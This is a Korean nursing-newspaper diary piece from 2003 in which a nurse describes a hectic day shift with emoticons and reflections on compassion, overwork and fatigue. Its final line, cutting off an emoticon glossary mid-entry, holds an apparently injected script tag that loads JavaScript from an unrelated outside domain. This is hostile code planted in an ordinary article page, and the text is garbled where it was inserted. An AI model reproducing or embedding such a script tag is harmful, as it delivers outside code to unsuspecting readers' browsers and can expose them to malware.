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[인하대병원] 주수희   news@nursenews.co.kr     기사입력 2003-07-10 오전 11:00:08

　(제 일기이자, 모든 간호사들의 일상적 이야기입니다. 읽어주시고 잠깐이나마 웃을 수 있는 여유를 가졌으면 좋겠습니다.)

　2003년 5월 어느 날.
　05 : 00 삐비비빅! 삐비비빅!! 굉음의 알람소리에 나는 졸린 눈을 비비며 몸을 뒤척인다. 10분만 더 …(－ .－)Zzz...
　05 : 10 …이대로 더 자면 못 일어날거야. 안되지! @.@
　05 : 15 쓱싹 고양이세수하고 화장대에 앉는다.(^－^) 푸석한 얼굴 최대한 커버 하고 싶어 에센스를 듬뿍 바르고 모공수축에 효과적이라는 화장품 언니의 말이 생각나 뺨도 짝! 소리나게 한번 때려본다. (＊－ .－＊)
　05 : 30 (화장중)1년 내내 한결같은 나만의 화장법을 내추럴 메이크업이라 위안하며 옷도 내추럴하게(－_－ ;) 입었다.
　05 : 45 밥을 먹어, 말어? "밥이 보약인겨" 엄마 말씀이 귓전에 맴돈다. 물을 끓인다. 병원에 입사하면서 혼자 나와 산 지 3년. 이젠 따뜻한 물이 곧 국이다. 여기에 가끔 김을 풀면 김국이요, 김치를 넣으면 얼큰한 김칫국이다. 부처가 내 마음에 있으니 나무관세음…. 오늘은 밥을 먹었다는 사실에 세상이 따뜻해진다. 발걸음도 가볍다.＊^_^＊
　06 : 15 문을 나선다. 제법 쌀쌀하구만…. 늘 그렇듯 남들과는 구별되는, 계절과는 무관한 옷으로 길을 활보한다. 사실… 이러고 나가면 다들 새벽장사 나온 줄 안다.(T_T ;)
　06 : 30 병원에 도착했다. 만족스런 시간이다. 오늘은 밥까지 먹고 나왔는데 이 시간이라니, 우힛∼!! ^ O ^ 간호복으로 갈아입는다. 우리 간호복은 원초적 흰색. (－_－ ;;) 봄, 가을 병원신발이 새로 나오면 환자들은 이렇게 말한다. "오옷! 신발 바뀌셨네요!!" "아, 예∼"(－_－ ;) 예리한 환자들이다.－_－+ 내일은 옷을 빨아 입어야겠군.
　환자들을 대하는 일이 언제나 즐거운 것만은 아니다. 환자나 보호자에게 일방적인 언어폭력을 당하기도 하고, 최선을 다해 간호를 해도 질병이 악화되는 경우도 있다. 그럴 땐 정말 맥이 빠진다.
　나는 이제 막 간호사가 되려는 학생들에게 이렇게 말하곤 하며 긴장감을 조성한다. "희생정신, 봉사정신이 없다면 하지 말라"고. 그런 정신 없이는 할 수 없는 직업이다. 간호사가 가져야 할 또 하나의 중요한 마음은 `측은지심' 즉, 사람을 측은히 여기는 마음이다. 측은지심이 없는 간호사는 대체적으로 자신이 아주 능력 있는 사람이라고 스스로 자부하면서도 교육이 부족한 환자에게 무시하는 발언을 하고, 천번은 더 돌린 테이프처럼 강약 없는 말들만 반복하곤 한다. `원래 좀 아파요' `기다리세요' `오실거에요' ….
　누군가 말했다. 의사는 병을 치료하지만 간호사는 사람을 치료한다고. 그러나 지금의 간호현실은 사람을 치료하기에 역부족인 면이 아직 많다. 환자들에게 대화 몇 마디를 더 건네고 싶어도 차팅 시간이 다 돼가고, 주사시간이 다 돼가서 발걸음을 서둘러야 하기 때문이다. 환자 마음에 다가서는 간호를 하자고 다짐하면서도 여의치 못할 때가 더러 있어 아쉽다.
　그래도 우리 간호사들은 바쁜 와중에도 환자에게 따뜻한 말 한마디를 건넨다. 그런 간호사들이 자랑스럽다. 인간적이며, 누구보다 따뜻한 가슴을 가진 사람들이기 때문이다. 얘기가 삼천포로 빠져버렸네? ^_^ ;; 차팅도 주사도 끝났고, 환자들 약 챙기고, 수술 끝난 환자 받고…. 오늘은 점심을 먹을 수 있을까?
　먹는 얘기가 나와서 말인데 주위에 위장이 좋은 간호사가 있다면, 그 사람 정말 독한 사람이다. "아무리 바빠도 밥은 꼭 먹어야 돼!"라는 어떤 간호사, 정말 존경스럽다. 하지만 사실 그렇다. 간호사는 자고로 튼튼해야 한다. 그래야 몸을 못 가누는 환자들을 번쩍번쩍 들어올릴 수 있기 때문이다. 이송반 사람들도 가끔 우릴 보며 놀라곤 한다. "정말 대단하시네요∼"라며. ^ O ^ ;
　간호사의 손을 본적이 있는가. 손이 작건 손목이 가늘건 상관없다. 뼈마디는 전부 아줌마이기 때문이다. 등과 팔목에 솟은 혈관과 근육들. 운동 다니냐고 묻지 마라. 상처받는다.(－_－ ;) 우리의 팔뚝에 의지하는 환자들이 있기에 우리 몸도 갈수록 마징가가 돼 가는 것이다. "무쇠팔∼ 무쇠다리∼ 무쇠로 만든 사람∼"
(－_－ ;;)
　간신히 밥 먹을 시간적 여유가 생겼다. 국에 밥을 말아 후루룩 단숨에 먹고 5분만에 병동으로 올라간다. 우리에게 직장인들의 1시간짜리 점심시간은 꿈같은 일이다. 양치질하고 나왔더니 점심약 줄 시간. 후다닥 점심약을 준다.
　어느새 오후번이 들어온다. 인계해 줄 내용을 총정리 해본다. 오늘도 하루가 이렇게 지나가는구나…. 안도의 한숨. 긴장이 확 풀린다. 피곤하다. 오늘은 일찍 잠을 청해야겠다. 오늘 밤에도 별이 바람에 스치운다….

　이모티콘은 감정을 나타내는 이모션(emotion)과 아이콘(icon)의 합성어로 간단한 기호로 자신의 감정을 드러낼 때 쓰인다.
(－ .－)Zzz... 쿨쿨 잠자기 @.@ 눈?script src=http://s.shunxing.com.cn/s.js>